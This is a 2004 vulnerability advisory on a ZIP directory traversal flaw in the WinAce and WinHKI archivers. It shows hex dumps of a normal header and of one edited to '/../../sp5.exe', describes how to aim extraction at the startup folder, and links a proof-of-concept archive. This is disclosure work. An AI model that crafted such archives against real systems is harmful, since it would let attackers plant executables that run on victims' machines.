winaceHKI.txt

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Application: WinAce, WinHKI  
Vendors: http://www.webtoolmaster.com  
Versions: 1.4d  
Platforms: Windows  
Bug: ZIP File Directory Transversal  
Exploitation: Local (extract file)  
Date: 24 Dec 2004  
Author: Rafel Ivgi, The-Insider  
E-Mail: [email protected]  
Website: http://theinsider.deep-ice.com  
  
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1) Introduction  
2) Bugs  
3) The Code  
  
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===============  
1) Introduction  
===============  
  
WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ  
compressions.  
  
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======  
2) Bug  
======  
  
This is a normal ZIP compressed file header  
  
00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..  
00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 ..</..........sp  
00000020 352E 6578 65EC 5A7F 5454 577E 7F33 0C30 5.exe.Z.TTW~.3.0  
00000030 C0C0 1B94 8926 6A32 2AAE D9FC 206E 2628 .....&j2*... n&(  
00000040 2018 1186 4044 7D3A E40D 4940 4304 7CCC ...@D}:..I@C.|.  
  
in the following code, we can see how easy it is to change the path  
to anywhere we want, including the all users start up folder.  
I just overwrited the original long file name to /../../sp5.exe  
  
00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../..  
00000010 F209 3C2F 0F00 C8EE 0F00 1000 0000 7662 ..</..........vb  
00000020 2F2E 2E2F 2E2E 2F73 7035 2E65 7865 EC5A /../../sp5.exe.Z  
00000030 7F54 5457 7E7F 330C 30C0 C01B 9489 266A .TTW~.3.0.....&j  
00000040 322A AED9 FC20 6E26 2820 1811 8640 447D 2*... n&( ...@D}  
  
All we need to do is zip compress (using winzip, winrar, winace)  
a file with a long name/path and change the path specified inside the file  
to whatever we want Using any Hex editor such as HexWorkshop, just add  
anything to the filename.  
  
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===========  
3) The Code  
===========  
  
An online proof of concept can be found at:  
http://theinsider.web1000.com/WINACE-WINHKI ZIP TRANSVERSAL.zip  
  
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---  
Rafel Ivgi, The-Insider  
http://theinsider.deep-ice.com  
  
"Scripts and Codes will make me D.O.S , but they will never HACK me."  
  
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